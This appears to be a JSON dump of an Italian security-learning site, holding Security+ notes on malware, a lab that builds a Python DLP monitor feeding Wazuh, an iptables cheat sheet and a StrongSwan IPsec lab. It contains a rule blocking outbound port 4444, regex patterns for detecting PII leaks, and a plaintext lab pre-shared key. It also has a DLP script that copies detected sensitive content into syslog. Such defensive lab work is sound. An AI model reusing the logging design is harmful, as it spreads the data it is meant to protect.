indirizzo o dominio intero Antivirus: rileva e blocca malware. Usa signature per malware noto e heuristic per rilevamento comportamentale Download manuale di signature: verificare integrita' con hash. L'AV include file integrity checker per rilevare modifiche da rootkit Principi psicologici del social engineering: authority, intimidation, consensus, scarcity, urgency, familiarity, trust Connessioni # cap-05-securing-hosts-and-data — hardening riduce la superficie esposta agli actor cap-07-protecting-against-advanced-attacks — malware + vettori portano agli attacchi specifici del cap 7 mitre-attack — framework che mappa threat actors e TTP ","date":"4 giugno 2026","externalUrl":null,"permalink":"/dump/certificazioni/security-plus/libro/cap-06-threat-actors-malware/","section":"Dump","summary":"Chi attacca, come attacca e con cosa: threat actors e loro motivazioni, vettori di attacco (message/file/supply chain), tipi di malware (ransomware, trojan, worm, rootkit, botnet), e basi del vulnerability management. Cap 6 Gibson SY0-701.","title":"Cap 06 - Threat Actors, Malware \u0026 Common Attacks","type":"dump"},{"content":" ","date":"4 giugno 2026","externalUrl":null,"permalink":"/comandi/","section":"Comandi","summary":" ","title":"Comandi","type":"comandi"},{"content":" TL;DR DLP fatto in casa: con 50 righe di Python e inotify monitoriamo in tempo reale la scrittura di file sensibili. Pattern matching: uno switch match/case in Python 3.10+ intercetta SSN, carte di credito e codici fiscali. Wazuh in Docker: integrazione con il manager tramite regole custom, superando i limiti di permessi e decodificatori. Tre errori reali: come risolvere il blocco PEP 668 su Ubuntu 24.04, i permessi di docker cp e l'errore del decoder syslog. ▶ $ history python3 -m venv ~/dlp-venv source ~/dlp-venv/bin/activate pip install inotify docker cp single-node-wazuh.manager-1:/var/ossec/etc/rules/local_rules.xml ./local_rules.xml docker exec single-node-wazuh.manager-1 chown wazuh:wazuh /var/ossec/etc/rules/local_rules.xml tail -f /var/log/syslog Apro la dashboard Wazuh. Nella colonna full_log c'è scritto:\nDLP_ALERT: SSN rilevato in test-data.txt SSN: 123-45-6789 Rule id 100200, level 10. Ha funzionato.\nFacciamo un passo indietro.\nNelle aziende moderne, la fuga di dati sensibili (data exfiltration) è una delle minacce più concrete. I sistemi di DLP (Data Loss Prevention) enterprise fanno una cosa semplice alla base: analizzano i dati in tempo reale e bloccano il trasferimento non autorizzato. Ma come funzionano sotto il cofano?\nCostruire un DLP minimale in Python ci permette di capire le dinamiche di monitoraggio dell'host (Endpoint DLP) e di integrazione con un SIEM senza perdersi in complesse installazioni enterprise.\nIl contesto e l'architettura # La classificazione dei dati è il primo passo di qualsiasi strategia DLP. Non si può proteggere ciò che non si conosce: prima di applicare qualsiasi blocco, dobbiamo definire quali pattern rappresentano informazioni riservate o regolate, come le PII (Personally Identifiable Information). In questo laboratorio ci concentreremo su tre pattern comuni: codici fiscali italiani, numeri di previdenza sociale americani (SSN) e numeri di carte di credito.\nEcco come si sviluppa il flusso di monitoraggio e detection in questo scenario:\ngraph TD User[Utente o Processo] --\u003e|Scrive file| Folder[\"Cartella Monitorata (~/dlp-watch)\"] Folder --\u003e|Notifica evento| Inotify[\"InotifyTree (Kernel Linux)\"] Inotify --\u003e|Rileva evento| PyScript[\"Script Python (dlp_monitor.py)\"] PyScript --\u003e|Lettura e Regex Match| Reg[\"Regex (SSN, Card, CF)\"] Reg --\u003e|Corrispondenza Trovata| Syslog[\"Syslog (/var/log/syslog)\"] Syslog --\u003e|Lettura Log| Agent[\"Wazuh Agent\"] Agent --\u003e|Inoltro Alert| Manager[\"Wazuh Manager (Docker)\"] Manager --\u003e|Genera Alert Livello 10| Dashboard[\"Wazuh Dashboard\"] Sistema di test: Linux (Ubuntu Server 24.04 su UTM) Requisiti installati: Python 3.10+, Wazuh Agent attivo, Wazuh Manager in container Docker (single-node-wazuh.manager-1).\nStep 1 - Preparare l'ambiente e superare PEP 668 # Dobbiamo installare le dipendenze Python necessarie per interfacciarsi con l'API inotify del kernel Linux e creare la cartella che simulerà la directory di lavoro degli utenti da monitorare.\nSu Ubuntu 24.04, l'esecuzione diretta di pip install a livello globale viene bloccata da PEP 668 per proteggere l'ambiente di sistema. Creiamo quindi un ambiente virtuale (venv):\npython3 -m venv ~/dlp-venv source ~/dlp-venv/bin/activate pip install inotify mkdir -p ~/dlp-watch Nelle chiamate:\nIl modulo -m venv (dove -m indica a Python di eseguire il modulo venv come script) isola le dipendenze in una cartella locale. Il flag -p (--parents) assicura che mkdir crei tutte le directory genitrici mancanti nel percorso fornito e che non fallisca se la cartella esiste già. Una volta attivato il venv, nel prompt comparirà (dlp-venv) ad indicare l'isolamento attivo.\nStep 2 - Lo script Python (Il motore DLP) # Creiamo lo script principale ~/dlp_monitor.py. Questo script rimarrà in ascolto degli eventi del filesystem sulla cartella /home/barno/dlp-watch.\nUtilizziamo la classe InotifyTree della libreria inotify per agganciarci al kernel Linux e monitorare ricorsivamente la cartella, evitando il polling costante. Inotify ci avvisa degli eventi in tempo reale, dopodiché lo script esegue la scansione ed effettua il pattern matching tramite uno switch match/case (introdotto in Python 3.10+).\nEcco il codice completo dello script:\n#!/usr/bin/env python3 import os import inotify.adapters import re import syslog def _main(): folder = \u0026#34;/home/barno/dlp-watch\u0026#34; i = inotify.adapters.InotifyTree(folder) print(f\u0026#34;DLP_MONITOR in ascolto su {folder}...\u0026#34;) for event in i.event_gen(yield_nones=False): (_, type_names, path, filename) = event filepath = os.path.join(path, filename) # Evita che lo script tenti di aprire directory if not os.path.isfile(filepath): continue try: with open(filepath, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) as f: content = f.read() except Exception as e: syslog.syslog(syslog.LOG_ERR, f\u0026#34;Errore lettura file {filename}: {str(e)}\u0026#34;) continue match_type = detect_pattern(content) if match_type: # Scrive l\u0026#39;evento nel log di sistema con la signature univoca DLP_ALERT syslog.syslog(f\u0026#34;DLP_ALERT: {match_type} rilevato in {filename} {content}\u0026#34;) def detect_pattern(content): match True: case _ if re.search(r\u0026#39;\\b\\d{3}-\\d{2}-\\d{4}\\b\u0026#39;, content): return \u0026#39;SSN\u0026#39; case _ if re.search(r\u0026#39;\\b\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}\\b\u0026#39;, content): return \u0026#39;credit_card\u0026#39; case _ if re.search(r\u0026#39;\\b[A-Z]{6}\\d{2}[A-Z]\\d{2}[A-Z]\\d{3}[A-Z]\\b\u0026#39;, content): return \u0026#39;codice fiscale\u0026#39; case _: return None if __name__ == \u0026#39;__main__\u0026#39;: _main() InotifyTree monitora la cartella ricorsivamente. Ogni evento porta con sé path e filename, mentre la lettura del file viene delegata allo script. Il controllo os.path.isfile() evita crash derivanti dall'apertura di directory rilevate da inotify.\nStep 3 - Testare il rilevamento locale # Attiviamo l'ambiente e avviamo lo script DLP nel primo terminale:\nsource ~/dlp-venv/bin/activate python3 ~/dlp_monitor.py Nel secondo terminale, simuliamo la creazione di un file con dati sensibili:\necho \u0026#34;SSN: 123-45-6789\u0026#34; \u0026gt; ~/dlp-watch/test-data.txt echo \u0026#34;Card: 4111 1111 1111 1111\u0026#34; \u0026gt;\u0026gt; ~/dlp-watch/test-data.txt Verifichiamo immediatamente i log di sistema syslog usando tail e filtrando per la nostra stringa:\nsudo tail -f /var/log/syslog | grep DLP Il flag -f (--follow) di tail indica di mantenere il file aperto e stampare in tempo reale i nuovi log accodati.\nNei log dovremmo vedere la segnalazione corretta:\n# Output simulato Jun 4 16:55:39 barno-server dlp-monitor.py[183638]: DLP_ALERT: SSN rilevato in test-data.txt SSN: 123-45-6789 Step 4 - Integrazione con Wazuh (Superando tre errori reali) # Dato che Wazuh Manager in questo laboratorio gira in un container Docker, l'integrazione ha richiesto la risoluzione di tre problemi pratici.\nErrore 1 - Nessun editor nel container # Il file delle regole locali /var/ossec/etc/rules/local_rules.xml risiede all'interno del container Docker del manager, che non ha preinstallati editor di testo come vim o nano.\nWorkaround: Copiamo il file all'esterno, modifichiamolo sull'host e ricopiamolo dentro:\ndocker cp single-node-wazuh.manager-1:/var/ossec/etc/rules/local_rules.xml ./local_rules.xml # Modifica il file locale con l\u0026#39;editor dell\u0026#39;host docker cp ./local_rules.xml single-node-wazuh.manager-1:/var/ossec/etc/rules/local_rules.xml Il comando docker cp copia file o directory tra il filesystem locale dell'host e un container in esecuzione.\nErrore 2 - Permission denied # Dopo aver ricopiato il file, docker cp assegna la proprietà del file a root. Di conseguenza, Wazuh Manager (che gira con l'utente wazuh) non riesce a leggerlo all'avvio.\nDobbiamo riassegnare la proprietà dell'owner e del gruppo corretti all'interno del container:\ndocker exec single-node-wazuh.manager-1 chown wazuh:wazuh /var/ossec/etc/rules/local_rules.xml docker exec single-node-wazuh.manager-1 chmod 660 /var/ossec/etc/rules/local_rules.xml I comandi eseguiti tramite docker exec (che avvia un comando in un container attivo) modificano i permessi:\nchown wazuh:wazuh imposta l'utente e il gruppo proprietari del file. chmod 660 garantisce permessi di lettura e scrittura all'owner e al gruppo, negando qualsiasi accesso ad altri utenti. Errore 3 - Decoder inesistente # Inizialmente, la regola configurata con il tag \u0026lt;decoded_as\u0026gt;syslog\u0026lt;/decoded_as\u0026gt; impediva l'avvio di Wazuh, restituendo l'errore:\nwazuh-analysisd: ERROR: Invalid decoder name: \u0026#39;syslog\u0026#39;. In Wazuh syslog non è un nome di decoder valido predefinito. Poiché la nostra stringa DLP_ALERT è univoca, possiamo omettere del tutto l'indicazione del decoder e fare affidamento sul blocco \u0026lt;match\u0026gt; per intercettare la signature.\nEcco la regola finale da inserire in local_rules.xml:\n\u0026lt;group name=\u0026#34;custom_rules_example,\u0026#34;\u0026gt; \u0026lt;rule id=\u0026#34;100200\u0026#34; level=\u0026#34;10\u0026#34;\u0026gt; \u0026lt;match\u0026gt;DLP_ALERT\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;DLP: dato sensibile rilevato\u0026lt;/description\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;/group\u0026gt; Applichiamo le modifiche riavviando il servizio all'interno del container:\ndocker exec single-node-wazuh.manager-1 /var/ossec/bin/wazuh-control restart Step 5 - Rilevamento in Dashboard # Ora il flusso di rilevamento funziona end-to-end:\nsequenceDiagram autonumber actor Utente as Utente / Attaccante participant FS as Cartella Monitorata participant Agent as DLP Monitor (Python) participant Syslog as Syslog (/var/log/syslog) participant Wazuh as Wazuh Agent participant Manager as Wazuh Manager (Docker) Utente-\u003e\u003eFS: Scrive PII in un file FS--\u003e\u003eAgent: Notifica evento filesystem Agent-\u003e\u003eFS: Scansiona il contenuto del file Note over Agent: Regex match positivo (match/case) Agent-\u003e\u003eSyslog: Scrive DLP_ALERT con i dettagli Wazuh-\u003e\u003eSyslog: Legge il log tramite journald Wazuh-\u003e\u003eManager: Invia l'evento Note over Manager: Regola 100200 applicata (livello 10) Manager--\u003e\u003eManager: Mostra alert nella dashboard Se apriamo la nostra Wazuh Dashboard, l'alert di livello 10 si attiva con Rule ID 100200.\nWazuh compila autonomamente alcuni dettagli:\npredecoder.program_name valorizzato a dlp-monitor.py (rilevato automaticamente dal syslog format). location impostata a journald, dato che su Ubuntu 24.04 i log di syslog vengono catturati direttamente da journald prima dell'invio. Varianti e casi limite # Performance con grandi volumi di dati: Lo script apre e legge in blocco ogni file modificato con f.read(). In ambienti di produzione con file di grandi dimensioni o continui accodamenti (es. scritture incrementali \u0026gt;\u0026gt;), questo approccio provocherebbe colli di bottiglia o duplicati di alert. È preferibile implementare una coda asincrona o un meccanismo di debounce per analizzare solo le modifiche nette e i file chiusi stabilmente. Cifratura: Se un attaccante o un insider malevolo cifra i dati (ad esempio salvandoli in un archivio protetto da password) prima di spostarli nella cartella monitorata, le espressioni regolari non troveranno corrispondenze. L'esfiltrazione cifrata rimane il bypass più classico ed efficace contro un DLP a livello utente. exit 0 # Cinquanta righe di Python che fanno pattern matching su un filesystem event rappresentano il cuore logico di qualsiasi agente DLP per endpoint.\nLa vera differenza in produzione la fa la parte di risposta attiva: non limitarsi a segnalare il dato nei log, ma bloccare la scrittura, mettere in quarantena il file o sospendere temporaneamente la sessione dell'utente. Quello è il territorio di Wazuh active response, un ottimo punto di partenza per il prossimo laboratorio.\nComandi usati: tail · docker Concetti correlati: IDS/IPS · wazuh-architecture · wazuh-auditd-custom-rule\n","date":"4 giugno 2026","externalUrl":null,"permalink":"/blog/dlp-e-wazuh/","section":"Blog","summary":" TL;DR DLP fatto in casa: con 50 righe di Python e inotify monitoriamo in tempo reale la scrittura di file sensibili. Pattern matching: uno switch match/case in Python 3.10+ intercetta SSN, carte di credito e codici fiscali. Wazuh in Docker: integrazione con il manager tramite regole custom, superando i limiti di permessi e decodificatori. Tre errori reali: come risolvere il blocco PEP 668 su Ubuntu 24.04, i permessi di docker cp e l'errore del decoder syslog. ▶ $ history python3 -m venv ~/dlp-venv source ~/dlp-venv/bin/activate pip install inotify docker cp single-node-wazuh.manager-1:/var/ossec/etc/rules/local_rules.xml ./local_rules.xml docker exec single-node-wazuh.manager-1 chown wazuh:wazuh /var/ossec/etc/rules/local_rules.xml tail -f /var/log/syslog Apro la dashboard Wazuh. Nella colonna full_log c'è scritto:\n","title":"DLP e Wazuh","type":"blog"},{"content":" Cosa fa # Filtra e manipola pacchetti di rete a livello kernel tramite il framework Netfilter. Ogni pacchetto attraversa una serie di chain (catene di regole) in base alla direzione del traffico. La prima regola che matcha viene applicata.\nTL;DR # pacchetto in entrata → chain INPUT → processo locale pacchetto in uscita → chain OUTPUT → rete pacchetto in transito → chain FORWARD → (router/bridge) Tre tabelle principali:\nfilter — filtraggio standard (default) nat — Network Address Translation mangle — modifica header pacchetti Lettura delle regole # Comando Cosa fa sudo iptables -L -v -n Lista tutte le chain con contatori, IP numerici sudo iptables -L -v -n --line-numbers Come sopra, con numero di riga sudo iptables -L INPUT -v -n --line-numbers Solo chain INPUT sudo iptables -t nat -L -v -n Chain della tabella NAT sudo iptables -S Lista regole in formato comandi (riproducibile) Flag:\n-L — list — lista le regole -v — verbose — mostra interfaccia e contatori pacchetti/byte -n — numeric — IP e porte come numeri, senza risoluzione DNS --line-numbers — aggiunge numero di riga per cancellazione mirata Aggiungere regole # Comando Cosa fa sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT Permetti SSH in entrata sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT Permetti HTTP in entrata sudo iptables -A OUTPUT -p tcp --dport 4444 -j DROP Blocca traffico uscente porta 4444 sudo iptables -A INPUT -s 192.168.64.1 -j ACCEPT Permetti tutto da quell'IP sudo iptables -A INPUT -s 192.168.64.0/24 -j ACCEPT Permetti da intera subnet sudo iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT Inserisci in posizione 1 (prima di tutto) Flag:\n-A — append — aggiunge in fondo alla chain -I — insert — inserisce in posizione specificata -p — protocol — tcp / udp / icmp --dport — destination port --sport — source port -s — source — IP o subnet sorgente -d — destination — IP o subnet destinazione -j — jump — azione: ACCEPT / DROP / REJECT / LOG Cancellare regole # Comando Cosa fa sudo iptables -D INPUT -p tcp --dport 22 -j ACCEPT Cancella per contenuto esatto sudo iptables -D INPUT 3 Cancella riga 3 (usa --line-numbers prima) sudo iptables -F INPUT Svuota (flush) tutta la chain INPUT sudo iptables -F Svuota tutte le chain della tabella filter sudo iptables -t nat -F Svuota tutte le chain NAT Chain personalizzate # Comando Cosa fa sudo iptables -N MYCHAIN Crea nuova chain chiamata MYCHAIN sudo iptables -A INPUT -j MYCHAIN Manda il traffico INPUT nella chain custom sudo iptables -X MYCHAIN Cancella chain (deve essere vuota e non referenziata) sudo iptables -E MYCHAIN NEWNAME Rinomina chain Policy di default # La policy si applica se nessuna regola matcha.\nComando Cosa fa sudo iptables -P INPUT DROP Blocca tutto il traffico in entrata non esplicitamente permesso sudo iptables -P INPUT ACCEPT Permetti tutto in entrata (default) sudo iptables -P OUTPUT ACCEPT Permetti tutto in uscita (default) sudo iptables -P FORWARD DROP Blocca forwarding (se non e' un router) Cambia la policy INPUT a DROP solo dopo aver aggiunto le regole ACCEPT per SSH — altrimenti perdi l'accesso al server.\nNAT # Comando Cosa fa sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE Masquerading — IP sorgente diventa quello dell'interfaccia eth0 sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 Redirige la porta 80 verso 8080 sudo iptables -t nat -L -v -n Lista regole NAT Persistenza # Le regole iptables non sopravvivono al riavvio. Per salvarle:\nsudo apt install iptables-persistent sudo netfilter-persistent save # salva le regole correnti sudo netfilter-persistent reload # ricarica le regole salvate Oppure manualmente:\nsudo iptables-save \u0026gt; /etc/iptables/rules.v4 # salva sudo iptables-restore \u0026lt; /etc/iptables/rules.v4 # ripristina Scenario reale # iptables e' la base su cui lavorano UFW, Docker e WireGuard. Quando avvii un container Docker, lui aggiunge automaticamente regole iptables nella tabella nat per il port forwarding. Quando abiliti UFW, traduce i tuoi comandi ufw allow in regole iptables nella chain ufw-user-input.\nPer vedere cosa ha aggiunto Docker:\nsudo iptables -t nat -L -v -n Collegato a # ufw — frontend semplificato per iptables su Ubuntu network — categoria ","date":"4 giugno 2026","externalUrl":null,"permalink":"/comandi/iptables/","section":"Comandi","summary":"Firewall nativo del kernel Linux. Gestisce il traffico di rete tramite chain (INPUT, OUTPUT, FORWARD) e tabelle (filter, nat, mangle). UFW e nftables sono frontend/successori.","title":"iptables - Linux Packet Filtering","type":"comandi"},{"content":"","date":"4 giugno 2026","externalUrl":null,"permalink":"/tags/malware-analysis/","section":"Tags","summary":"","title":"Malware-Analysis","type":"tags"},{"content":"","date":"4 giugno 2026","externalUrl":null,"permalink":"/tags/observability/","section":"Tags","summary":"","title":"Observability","type":"tags"},{"content":"","date":"4 giugno 2026","externalUrl":null,"permalink":"/tags/system/","section":"Tags","summary":"","title":"System","type":"tags"},{"content":"","date":"4 giugno 2026","externalUrl":null,"permalink":"/tags/threat-intel/","section":"Tags","summary":"","title":"Threat-Intel","type":"tags"},{"content":" TL;DR IPsec Suite: Una suite di protocolli di rete sicuri (IKE + ESP + AH) implementata a livello IP per garantire autenticazione, integrità e riservatezza. IKE (Internet Key Exchange): Negozia gli algoritmi di sicurezza e stabilisce le Security Association (SA) scambiando chiavi tramite Diffie-Hellman (UDP 500/4500). ESP (Encapsulating Security Payload): Cifra il payload dei pacchetti (ad es. con AES-256) garantendo riservatezza ed autenticazione. Supporta il NAT tramite incapsulamento NAT-T. AH (Authentication Header): Firma crittograficamente i pacchetti per garantirne l'integrità, ma non cifra il payload, lasciando i dati in chiaro ed esposti allo sniffing. Tunnel vs Transport: Tunnel mode cifra l'intero pacchetto originale aggiungendo un nuovo header IP (ideale per VPN Site-to-Site); Transport mode cifra solo il payload (ideale per host-to-host). ▶ $ history apt install strongswan -y ipsec version ipsec restart ipsec up mustache ipsec statusall tcpdump -i enp0s1 udp port 500 tcpdump -i enp0s1 proto 50 tcpdump -i enp0s1 proto 51 -v ping 192.168.64.3 Configurare IPsec host-to-host con StrongSwan e vedere con tcpdump la differenza tra ESP e AH. ESP cifra il payload - AH no. Questa distinzione è una domanda classica Security+ e fondamentale per la sicurezza di rete.\nObiettivo del laboratorio # In questo laboratorio configureremo un collegamento IPsec host-to-host sicuro tra due macchine virtuali e ne analizzeremo in profondità i pacchetti di rete sul canale fisico:\nUbuntu (192.168.64.3) → StrongSwan concentrator (responder) Kali (192.168.64.200) → StrongSwan initiator (client) VPN Concentrator # In questo lab Ubuntu è il concentrator - il punto di terminazione del tunnel.\nUn concentrator è il dispositivo che:\nsta in ascolto su UDP 500 (IKE) accetta connessioni da uno o più client termina il tunnel: riceve ESP cifrato, decapsula, passa il payload alla rete interna In produzione sono appliance dedicati: Cisco ASA, Palo Alto, Fortinet. Qui usiamo StrongSwan su Ubuntu - funzione identica, hardware diverso.\nIl client (Kali) non è un concentrator: apre una connessione, non ne accetta. È asimmetrico per design - il concentrator gestisce N client simultanei, ogni client gestisce 1 tunnel.\nInstallazione # IPsec è uno standard - una suite di protocolli (IKE + ESP + AH). Non è software, è una specifica RFC. Il kernel Linux capisce ESP e AH nativamente, ma qualcuno deve gestire la negoziazione IKE: scambiare chiavi, creare le SA, autenticarsi.\nPrima di installare, i tre protocolli che compongono IPsec:\nIPsec ├── IKE - Internet Key Exchange UDP 500 / 4500 │ │ Negozia algoritmi, scambia chiavi, crea le SA. │ │ Sparisce dopo il setup. Non trasporta dati. │ │ │ └── NAT-T - NAT Traversal │ Se rileva NAT, incapsula IKE in UDP 4500. │ Necessario perché ESP non ha porte TCP/UDP │ e i NAT non saprebbero a chi girare i pacchetti. │ ├── SA - Security Association │ L\u0026#39;accordo tra due host: quale algoritmo usare, │ quale chiave, per quanto tempo. Unidirezionale: │ una SA per ogni direzione (inbound + outbound). │ Identificata dall\u0026#39;SPI (Security Parameter Index). │ ├── ESP - Encapsulating Security Payload IP proto 50 │ Cifra il payload (AES-256) + autentica (HMAC). │ È quello che vedi sul cavo dopo il tunnel up. │ Funziona con NAT (NAT-T lo incapsula in UDP 4500). │ └── AH - Authentication Header IP proto 51 Autentica il pacchetto ma NON cifra nulla. Payload visibile in tcpdump. Non funziona con NAT (firma anche gli IP header). Praticamente mai usato in produzione. StrongSwan è il daemon che fa quella parte. Quando fai sudo ipsec up mustache, stai dicendo a StrongSwan di avviare una negoziazione IKE verso l'altro host. StrongSwan poi parla con il kernel per installare le Security Association, e da quel momento il kernel gestisce ESP direttamente senza che StrongSwan sia in mezzo.\nIl comando ipsec che usi è il CLI di StrongSwan - è lui che lo installa.\n┌─────────────────────────────────────────┐ │ sudo ipsec up mustache │ │ │ │ │ StrongSwan daemon │ ← installa strongswan │ (gestisce IKE su UDP 500/4500) │ │ │ │ │ kernel Linux │ ← già capisce ESP/AH │ (gestisce ESP/AH sul cavo) │ └─────────────────────────────────────────┘ Esistono altre implementazioni dello stesso standard: Libreswan (RHEL/Fedora), OpenSwan (predecessore), Cisco IOS (enterprise). Tutti implementano IPsec e si parlano tra loro perché seguono lo stesso RFC - come nginx e Apache che implementano entrambi HTTP.\nsudo apt install strongswan -y ipsec version Su Kali il primo tentativo dava 404 su strongswan-starter - repo in aggiornamento. Soluzione: sudo apt update e riprovare.\nConfigurazione Ubuntu - responder # /etc/ipsec.conf:\nconfig setup conn mustache left=192.168.64.3 right=192.168.64.200 type=tunnel esp=aes256-sha256 ikelifetime=1h keylife=30m authby=secret auto=add /etc/ipsec.secrets - shared secret PSK:\n192.168.64.3 192.168.64.200 : PSK \u0026#34;mustache2026\u0026#34; sudo ipsec restart # Stopping strongSwan IPsec... # Starting strongSwan 5.9.13 IPsec [starter]... Configurazione Kali - initiator # Stessa struttura di Ubuntu ma left e right invertiti.\n/etc/ipsec.conf:\nconfig setup conn mustache left=192.168.64.200 right=192.168.64.3 type=tunnel esp=aes256-sha256 ikelifetime=1h keylife=30m authby=secret auto=add /etc/ipsec.secrets:\n192.168.64.200 192.168.64.3 : PSK \u0026#34;mustache2026\u0026#34; sudo ipsec restart Left e right in IPsec: left è sempre \u0026quot;io\u0026quot;, right è sempre \u0026quot;l'altro\u0026quot;. Ubuntu si mette a sinistra e vede Kali a destra. Kali si mette a sinistra e vede Ubuntu a destra. StrongSwan capisce da solo chi è il responder e chi l'initiator in base a chi apre la connessione.\nInitiator e Responder # Concentrator vs Responder: il termine \u0026quot;concentrator\u0026quot; è quello che trovi su Security+ - \u0026quot;responder\u0026quot; è quello che usa StrongSwan nei log. Stessa funzione, vocabolario diverso. Ubuntu qui fa entrambe le cose.\nIn IKE qualcuno deve fare la prima mossa:\nInitiator (Kali): manda il primo pacchetto IKE_SA_INIT. È lui che vuole aprire il tunnel. Responder (Ubuntu): sta in ascolto, risponde. Non sa che Kali esiste finché non arriva quel primo pacchetto. INITIATOR RESPONDER Kali (192.168.64.200) Ubuntu (192.168.64.3) [ ipsec up mustache ] [ in ascolto... ] │ │ │── IKE_SA_INIT ──────────────►│ \u0026#34;qualcuno vuole parlare\u0026#34; │◄─────────────── response ────│ \u0026#34;rispondo\u0026#34; │ │ │── IKE_AUTH ────────────────►│ \u0026#34;ecco il mio PSK firmato\u0026#34; │◄─────────────── response ────│ \u0026#34;confermato, tunnel su\u0026#34; │ │ [ tunnel stabilito ] [ tunnel stabilito ] │ │ │══ ESP (proto 50) ════════════►│ │◄════ ESP (proto 50) ══════════│ (da qui: simmetrico) Una volta stabilito il tunnel la distinzione sparisce - il traffico ESP va in entrambe le direzioni.\nconn mustache - conn sta per connection, il nome del blocco di configurazione. mustache è il nome che abbiamo dato noi a questa connessione - poteva essere vpn-lab o qualsiasi cosa. StrongSwan usa il nome per riferirsi alla connessione nei comandi (ipsec up mustache, ipsec down mustache).\nPSK \u0026quot;mustache2026\u0026quot; - PSK è Pre-Shared Key, la chiave condivisa in anticipo. È letteralmente una password che entrambi gli host devono conoscere prima che IKE inizi. \u0026quot;Pre-shared\u0026quot; significa che non viene negoziata sul cavo - la metti a mano su entrambe le macchine.\nIl PSK è usato solo per autenticazione - dimostrare \u0026quot;sono io, conosco il segreto\u0026quot;. Non viene usato per cifrare il traffico ESP.\nLe chiavi di cifratura vengono da ECDH (lo stesso meccanismo di WireGuard) - entrambi gli host generano coppie di chiavi temporanee, si scambiano le pubbliche, e derivano la stessa chiave condivisa senza mai trasmetterla sul cavo.\nIKE_SA_INIT: Kali e Ubuntu si scambiano chiavi pubbliche DH → entrambi calcolano la stessa chiave condivisa (mai sul cavo) → da questa derivano le chiavi di cifratura per IKE IKE_AUTH: Kali firma un messaggio con il PSK → \u0026#34;sono Kali\u0026#34; Ubuntu verifica → \u0026#34;confermato\u0026#34; → PSK ha finito il suo lavoro, non serve più ESP: Chiavi di sessione derivate da ECDH, non dal PSK → il PSK non cifra nulla È come la parola \u0026quot;Fidelio\u0026quot; in Eyes Wide Shut - ti apre la porta, dimostra che appartieni. Ma quello che succede dentro la stanza è separato dalla parola. Per questo il PSK deve essere forte: se qualcuno lo indovina, può entrare - anche se non può decifrare il traffico già catturato.\nErrore: no private key found # Al primo tentativo, ipsec up mustache falliva con:\nno private key found for \u0026#39;192.168.64.200\u0026#39; establishing connection \u0026#39;mustache\u0026#39; failed IKE partiva correttamente (il tcpdump su UDP 500 lo confermava) ma l'autenticazione falliva. StrongSwan di default cerca un certificato X.509 - mancava authby=secret nel config per dirgli di usare il PSK.\nFix: aggiungere authby=secret al blocco conn mustache su entrambe le VM.\nIKE - la negoziazione delle chiavi # IKE è un handshake - più elaborato di quello TCP, ma stessa idea: prima di trasferire dati, i due host si mettono d'accordo. TCP handshake stabilisce solo la connessione. IKE stabilisce chi sei, come cifriamo e quale chiave usiamo in 2 round trip, poi sparisce.\nKali Ubuntu │ │ │── IKE_SA_INIT ──────────────────►│ \u0026#34;propongo questi algoritmi\u0026#34; │◄── IKE_SA_INIT response ─────────│ \u0026#34;accetto, ecco la mia chiave pubblica\u0026#34; │ │ │ [entrambi derivano la stessa chiave senza mai trasmetterla - ECDH] │ │ │── IKE_AUTH ────────────────────►│ \u0026#34;sono Kali - ecco il PSK firmato\u0026#34; │◄── IKE_AUTH response ────────────│ \u0026#34;confermato, tunnel aperto\u0026#34; │ │ │══ ESP - dati cifrati ════════════►│ IKE non esiste più sul cavo Dopo IKE, le SA sono installate nel kernel e il traffico viaggia direttamente in ESP. IKE non è in mezzo - è servito solo per il setup.\nCuriosità: IKE come nome e protocollo è specifico di IPsec (RFC 7296). Ma il concetto che implementa - negozia algoritmi, scambia chiavi, autenticati, poi sparisci - esiste in ogni protocollo sicuro:\nProtocollo Il suo \u0026quot;IKE\u0026quot; Meccanismo IPsec IKE (UDP 500) ECDH + PSK o certificati TLS/HTTPS TLS Handshake ECDH + certificati X.509 WireGuard Handshake (2 messaggi) Noise Protocol + Curve25519 SSH Key Exchange Diffie-Hellman WPA2 WiFi 4-way handshake EAPOL + PMK WPA3 WiFi SAE (Dragonfly) Diffie-Hellman su curva ellittica Il meccanismo matematico sottostante è sempre ECDH. Il nome cambia, l'idea no.\nPrima di mandare dati cifrati, IPsec deve stabilire le Security Association (SA) - gli accordi su algoritmi, chiavi e parametri. Questo è il lavoro di IKE (Internet Key Exchange) su UDP 500.\nSu Ubuntu, tcpdump in ascolto:\nsudo tcpdump -i enp0s1 udp port 500 Da Kali, avvia il tunnel:\nsudo ipsec up mustache Output completo:\ninitiating IKE_SA mustache[1] to 192.168.64.3 sending packet: from 192.168.64.200[500] to 192.168.64.3[500] (924 bytes) received packet: from 192.168.64.3[500] to 192.168.64.200[500] (280 bytes) selected proposal: IKE:AES_CBC_128/HMAC_SHA2_256_128/PRF_HMAC_SHA2_256/ECP_256 authentication of \u0026#39;192.168.64.200\u0026#39; (myself) with pre-shared key sending packet: from 192.168.64.200[4500] to 192.168.64.3[4500] (448 bytes) received packet: from 192.168.64.3[4500] to 192.168.64.200[4500] (272 bytes) authentication of \u0026#39;192.168.64.3\u0026#39; with pre-shared key successful IKE_SA mustache[1] established between 192.168.64.200...192.168.64.3 selected proposal: ESP:AES_CBC_256/HMAC_SHA2_256_128/NO_EXT_SEQ CHILD_SA mustache{1} established with SPIs c36742cc_i c2359b1c_o and TS 192.168.64.200/32 === 192.168.64.3/32 connection \u0026#39;mustache\u0026#39; established successfully Cosa è successo - IKEv2 in 2 fasi # Fase 1 - IKE_SA_INIT (UDP 500): Kali e Ubuntu negoziano gli algoritmi e si autenticano con il PSK. IKE crea le SA - gli accordi su algoritmi, chiavi e durata. Proposta selezionata: AES_CBC_128 / HMAC_SHA2_256 / ECP_256.\nFase 2 - IKE_AUTH (UDP 4500): Noti il cambio di porta da 500 a 4500 - è NAT-T (NAT Traversal). IPsec ha rilevato di essere dietro NAT (UTM) e ha incapsulato il traffico in UDP 4500. Senza NAT-T, ESP non passerebbe il NAT: non ha porte TCP/UDP, il NAT non sa a chi girare 